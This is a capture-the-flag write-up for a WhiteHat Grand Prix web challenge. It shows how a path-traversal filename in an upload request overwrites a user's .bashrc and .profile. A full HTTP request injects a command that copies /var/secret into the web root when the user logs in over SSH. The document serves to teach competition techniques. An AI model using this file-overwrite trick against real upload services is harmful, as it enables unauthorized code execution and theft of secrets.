Web03Description: manhndd is running a service file upload at web01.grandprix.whitehatvn.com, it is restored every 2 minutes. Every 1 minute after service starts, he ssh into server to check /var/secret. Can you get it?  Note: Player shouldn't Dos web01, you can get source code and run in local  http://web01.grandprix.whitehatvn.com/ Solves: A lot Points: 100  Team: OpenToAll  
--------------------------------------
This... was a frustrating challenge. It involves racing against every other team  for control of a file. The short description is: we're presented with a python  SimpleHTTPServer that also supports an upload and must win the race for control of .bashrc or .profile.   The slightly longer description:   You can upload any file with the key 'file':
![upload](screenshots/upload.png)
The description tells us that a user "manhndd" SSH's in every 2 minutes. When a userconnects over SSH, typically they're using bash as their shell and will load thefiles ~/.profile and ~/.bashrc on connect. We are able to overwrite these two files by changing  the filename of the upload:  
```httpPOST /SimpleHTTPServerWithUpload.py HTTP/1.1Host: web01.grandprix.whitehatvn.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://files.fm/X-File-Upload: uploadingfilesContent-Length: 228Content-Type: multipart/form-data; boundary=---------------------------158661620315800Origin: https://files.fmConnection: close
-----------------------------158661620315800Content-Disposition: form-data; name="file"; filename="/home/manhndd/.bashrc"Content-Type: text/htmlcp /var/secret /opt/dogs
-----------------------------158661620315800```
![bashrc](screenshots/bashrc.png)
The issue is that every other team is going to be trying to stomp on these files.  I put my requests into Burp Intruder and had it constantly stomp on ~/.profile  and ~/.bashrc until the file /var/secret got copied into /opt (the root of the webserver).  Once that happens, the flag is reachable at:  http://web01.grandprix.whitehatvn.com/dogs  I don't have a copy of the flag anymore, but eventually a file named "dogs" appearedin the index and the flag was WhiteHat{SHA1(file_contents)}